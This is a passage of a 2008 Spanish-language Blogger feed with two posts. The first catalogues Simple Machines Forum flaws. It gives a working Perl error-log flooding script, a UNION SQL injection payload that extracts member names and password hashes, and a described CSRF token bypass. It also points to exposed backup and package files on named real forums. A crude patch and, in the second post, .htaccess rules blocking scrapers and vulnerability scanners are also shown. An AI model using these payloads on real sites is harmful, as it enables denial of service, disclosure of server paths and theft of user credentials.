src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-5514663299508921357</id><published>2008-09-08T15:03:00.000-07:00</published><updated>2008-09-10T19:12:01.243-07:00</updated><title type='text'>Bugs SMF</title><content type='html'>&lt;div style="text-align: center;"&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Algunos Bugs SMF&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;El Log de Errores guarda básicamente cualquier mínimo error causado por los usuarios, bueno y si lo saturamos?&lt;br /&gt;&lt;br /&gt;http://web/foro/index.php?action=help;page[]=loginout&lt;br /&gt;(&lt;span class="l"&gt;&lt;em&gt;&lt;em&gt;Full path disclosure&lt;/em&gt;&lt;/em&gt;&lt;/span&gt;)&lt;br /&gt;esto creara un registro de error en el log:&lt;br /&gt;&lt;span style="display: block;" id="formatbar_Buttons"&gt;&lt;span class="on down" style="display: block;" id="formatbar_CreateLink" title="Enlace" onmouseover="ButtonHoverOn(this);" onmouseout="ButtonHoverOff(this);" onmouseup="" onmousedown="CheckFormatting(event);FormatbarButton('richeditorframe', this, 8);ButtonMouseDown(this);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Citar&lt;/span&gt;&lt;br /&gt;2: Illegal offset type in isset or empty&lt;br /&gt;Archivo: /var/www/xxxxxxxxxxxxxx.com/htdocs/Sources/Help.php&lt;br /&gt;Linea: 65&lt;br /&gt;?action=help;page[]=loginout&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Este error se encuentra en Sources/Help.php en la linea 65:&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;if (!isset($_GET['page']) || !isset($context['all_pages'][$_GET['page']]))&lt;br /&gt;$_GET['page'] = 'index';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold; font-style: italic;"&gt;Parchando:&lt;/span&gt;&lt;br /&gt;Bueno esta clase de bugs quedan corregidos con el parche de seguridad que hice para el SMF. Pero igualmente aquí esta el otro de parche que lo corrige (colocar en el index.php arriba de todo (después del &amp;lt;?php y del header de información)&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;function juackers() {&lt;br /&gt;echo "&amp;lt;script&amp;gt;alert('desgraciado lammer, que intentas?');&amp;lt;/script&amp;gt;&amp;lt;h1&amp;gt;Que Lammer Eres!&amp;lt;/h1&amp;gt;";&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;foreach ($_GET as $key =&amp;gt; $value) {&lt;br /&gt;if(is_array($_GET["$key"])) {&lt;br /&gt;juackers();&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;pueden cambiar la variable globalizada $_GET por alguna otra como $_REQUEST, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;XSRF:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Bueno siempre que se tiene que remitir información mediante un post en un SMF hay 2 inputs que básicamente deberían de funcionar como captchas estos son:  seqnum y sc&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&amp;lt;input type="hidden" name="sc" value="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" /&amp;gt;&lt;br /&gt;&amp;lt;input type="hidden" name="seqnum" value="xxxxxxxx" /&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pero estos se pueden saltar mediante un XSRF (cross site request forgery). Suponiendo que creamos un socket en ajax, un usuario con permiso de enviar un mensaje, cerrar post, cambiar titulo, borrar foros, etc... entra a una pagina con el socket, al tener la cookie el socket podria hacer un GET a la pagina y mediante el código que recibe podría parsear y sacar estos 2 valores, después simplemente crea otro socket, esta vez que envie un post con el sc y el seqnum, entonces podriamos ordenar que haga lo que sea.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Flooder por log de errores:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;#!/usr/bin/perl&lt;br /&gt;use LWP::UserAgent;&lt;br /&gt;sub uso { print "[-]Uso: smf.pl [dominio]\n"; exit; }&lt;br /&gt;my $host = $ARGV[0];&lt;br /&gt;$host = shift || &amp;uso;&lt;br /&gt;$ua = LWP::UserAgent-&amp;gt;new;&lt;br /&gt;$ua-&amp;gt;agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12) Gecko/20080201 Firefox/2.0.0.12');&lt;br /&gt;$texto = "Xianur0 Was Here" x 15;&lt;br /&gt;$req = HTTP::Request-&amp;gt;new(GET =&amp;gt; 'http://xianur0.phpnet.us/index.php?action=help;page['.$texto.']=loginout');&lt;br /&gt;$req-&amp;gt;header('Accept' =&amp;gt; 'text/html');&lt;br /&gt;$req-&amp;gt;header('Accept-Language' =&amp;gt; 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');&lt;br /&gt;for($i = 0; $i&amp;lt;10000; $i++) {&lt;br /&gt;$res = $ua-&amp;gt;request($req);&lt;br /&gt;if ($res-&amp;gt;is_success) {&lt;br /&gt; print "Enviados:".$i."\n";&lt;br /&gt;} else {&lt;br /&gt; print "Error: " . $res-&amp;gt;status_line . "\n";&lt;br /&gt;}&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;span style="font-weight: bold;"&gt;Errores de manejo de paquetes:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Error de manejo de paquetes por temporal, el SMF al subir una modificación y ejecutarla, hace una copia de seguridad de cada archivo PHP que es tocado, pero al finalizar la modificación, no la borra, entonces esta puede ser accedida por cualquier otro usuario:&lt;br /&gt;&lt;br /&gt;http://foro.infiernohacker.com/index.php~&lt;br /&gt;http://foro.level-23.com/index.php~&lt;br /&gt;http://foro.el-hacker.com/index.php~&lt;br /&gt;http://www.mepisimo.com/forum/Settings.php~&lt;br /&gt;http://www.erautomotriz.com/forum/index.php~ (Agregada por yxed)&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Error de Permisos de Archivos:&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Algunos Archivos del SMF no están protegidos como deberían, por ejemplo:&lt;br /&gt;&lt;br /&gt;http://foro.infiernohacker.com/Packages/installed.list&lt;br /&gt;&lt;br /&gt;Esto puede ser usado para scanneo por paquetes (muchos paquetes que son enviados a SMF tienen fallas de seguridad como son XSS, SQL Inyection y en algunos casos RFI)&lt;br /&gt;&lt;br /&gt;Obteniendo Directorio del servidor (útil para atacar free hostings)&lt;br /&gt;&lt;br /&gt;http://foro.infiernohacker.com/SSI.php?ssi_layers&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Notice: Undefined variable: ssi_layers in /home/infierno/public_html/foro/SSI.php on line 99&lt;br /&gt;Hacking attempt...&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;y también sirve para crear logs pesados ya que estos errores se guardan directamente en:&lt;br /&gt;&lt;br /&gt;http://foro.infiernohacker.com/error_log&lt;br /&gt;&lt;span style="font-size:180%;"&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Matando Conexiones SQL&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código de Prueba:&lt;/span&gt; -1/**/union/**/select/**/1,memberName,passwd/**/from/**/smf_members/*&lt;br /&gt;&lt;br /&gt;Introducimos ese código en el buscador y el resultado:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Código:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Database Error: Lost connection to MySQL server during query&lt;br /&gt;File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Search.php&lt;br /&gt;Line: 1099Database Error: MySQL server has gone away&lt;br /&gt;File: /home/vol4/phpnet.us/x/xxxxxxxxxxxx/xxxxxxxxxxxx.phpnet.us/htdocs/Sources/Load.php&lt;br /&gt;Line: 2005&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;la configuración del buscador varia, Esto mas que nada sucede en la versiones updateadas, es decir, actualizadas a la 1.1.4:&lt;br /&gt;Dentro del:&lt;br /&gt;?action=managesearch&lt;br /&gt;&lt;br /&gt;tiene que estar desactivada la opción: Activar búsqueda simple (?)&lt;br /&gt;&lt;br /&gt;iré agregando mas conforme los encuentre en la DB de pandora's Box (foro mio que cerré) jeje&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;agrego algo, también se pueden robar paquetes subidos al servidor:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;en el Packages/installed.list&lt;br /&gt;aparese la lista de paquetes y el nombre con que se subieron los archivos, por &lt;span style="font-weight: bold;"&gt;ejemplo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Registered Links|^|registered links|^|vbgamer45:RegLinks|^|1.0&lt;br /&gt;YouTube BBCode|^|youtube|^|karlbenson:youtubebbcode|^|1.6&lt;br /&gt;Auto Embed Video Clips|^|AEVC_v2.1.2.zip|^|karlbenson:autoembedvideoclips|^|2.1.2&lt;br /&gt;SMF 1.0.13 / 1.1.5 / 2.0 b3.1 Update|^|smf_patch_1.0.13_1.1.5_2.0-b3.1.zip|^|smf:smf-1.0.13-1.1.5-2.0.b3.1|^|1.0&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;entonces para descargar los paquetes seria:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Packages/nombre_paquete.zip&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;por ejemplo:&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a href="http://foro.infiernohacker.com/Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.zip" target="_blank"&gt;http://foro.infiernohacker.com/Packages/smf_patch_1.0.13_1.1.5_2.0-b3.1.zip&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;(pongo la web de infiernohacker sin ánimos de joder, simplemente es un ejemplo, y de paso si quieren parchar háganlo &lt;img src="http://forum.mitm.cl/Smileys/default/smiley.gif" alt="Sonrisa" border="0" /&gt;...)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7920044947628905249-5514663299508921357?l=xianur0.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xianur0.blogspot.com/feeds/5514663299508921357/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7920044947628905249&amp;postID=5514663299508921357' title='2 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5514663299508921357'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7920044947628905249/posts/default/5514663299508921357'/><link rel='alternate' type='text/html' href='http://xianur0.blogspot.com/2008/09/bugs-smf.html' title='Bugs SMF'/><author><name>Xianur0</name><uri>http://www.blogger.com/profile/14466861157567932478</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7920044947628905249.post-1130903856709559072</id><published>2008-08-30T13:45:00.000-07:00</published><updated>2008-08-30T14:18:19.122-07:00</updated><title type='text'>Configuraciones .htaccess</title><content type='html'>&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 255, 255);font-size:180%;" &gt;Metodos anti-bots:&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Filtrado por cookie:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;.htaccess:&lt;/span&gt;&lt;/span&gt;&lt;span&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;br /&gt;RewriteEngine On&lt;br /&gt;&lt;/span&gt;&lt;em&gt;RewriteCond %{HTTP_COOKIE}!^.*Test-bot.*$ [NC]&lt;br /&gt;RewriteRule .* /setcookie.php [NC,L&lt;/em&gt;]&lt;br /&gt;&lt;br /&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;setcookie.php:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;&amp;lt;?php&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;setcookie&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;(&lt;/span&gt;&lt;span style="color: rgb(221, 0, 0);"&gt;"Test-bot"&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;, &lt;/span&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;'ok', httponly&lt;/span&gt;&lt;span style="color: rgb(0, 119, 0);"&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;br /&gt;&lt;code&gt;&lt;span style="color: rgb(0, 0, 0);"&gt;&lt;span style="color: rgb(0, 0, 187);"&gt;?&amp;gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;span style="font-weight: bold;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;Filtrado por user-agent:&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="color: rgb(192, 192, 192);font-size:100%;" &gt;RewriteEngine On&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^BlackWidow [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Bot\ mailto:craftbot@yahoo.com [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^ChinaClaw [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Custo [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^DISCo [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Download\ Demon [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^eCatch [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^EirGrabber [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^EmailSiphon [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^EmailWolf [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Express\ WebPictures [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^ExtractorPro [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^EyeNetIE [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^FlashGet [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^GetRight [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^GetWeb! [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Go!Zilla [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Go-Ahead-Got-It [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^GrabNet [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Grafula [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^HMView [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} HTTrack [NC,OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Image\ Stripper [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Image\ Sucker [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} Indy\ Library [NC,OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^InterGET [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Internet\ Ninja [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^JetCar [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^JOC\ Web\ Spider [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^larbin [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^LeechFTP [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Mass\ Downloader [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^MIDown\ tool [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Mister\ PiX [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Navroad [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^NearSite [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^NetAnts [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^NetSpider [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Net\ Vampire [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^NetZIP [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Octopus [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Offline\ Explorer [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Offline\ Navigator [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^PageGrabber [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Papa\ Foto [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^pavuk [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^pcBrowser [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^RealDownload [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^ReGet [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^SiteSnagger [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^SmartDownload [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^SuperBot [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^SuperHTTP [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Surfbot [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^tAkeOut [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Teleport\ Pro [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^VoidEYE [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Web\ Image\ Collector [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Web\ Sucker [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebAuto [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebCopier [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebFetch [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebGo\ IS [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebLeacher [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebReaper [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebSauger [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Website\ eXtractor [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Website\ Quester [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebStripper [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebWhacker [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WebZIP [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Wget [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Widow [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^WWWOFFLE [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Xaldon\ WebSpider [OR] &lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^UbiCrawler [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^MSIECrawler [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Web\ Scanner [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Web\ Scanner [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Acunetix\ Vulnerability\ Scanner [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^HTTrack [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^libwww-perl [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^libwww [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^perl [OR]&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteCond %{HTTP_USER_AGENT} ^Zeus [OR]&lt;/span&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;&lt;/span&gt;&lt;br /&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;RewriteRule ^.* - [F,L]&lt;br /&gt;SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes&lt;br /&gt;RewriteCond %{ENV:no_access} yes&lt;br /&gt;RewriteRule .* - [F,L]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;Como Notaran Filtre tambien al acunetix (totalmente en las ultimas lineas:&lt;/span&gt;&lt;br /&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: rgb(204, 204, 204);"&gt;SetEnvIf Acunetix-User-agreement http://www.acunetix.com/wvs/disc.htm no_access=yes&lt;br /&gt;RewriteCond %{ENV:no_access} yes&lt;br /&gt;RewriteRule .* - [F,L]&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style="font-weight: bold;"&gt;&lt;br /&gt;&lt;br /&gt;en las cuales lo que decimos es: si el existe el header&lt;/span&gt;&lt;span style="font-size:100%;"&gt;&lt;span style="color: rgb(255, 0, 0);"&gt;&lt;span style="color: 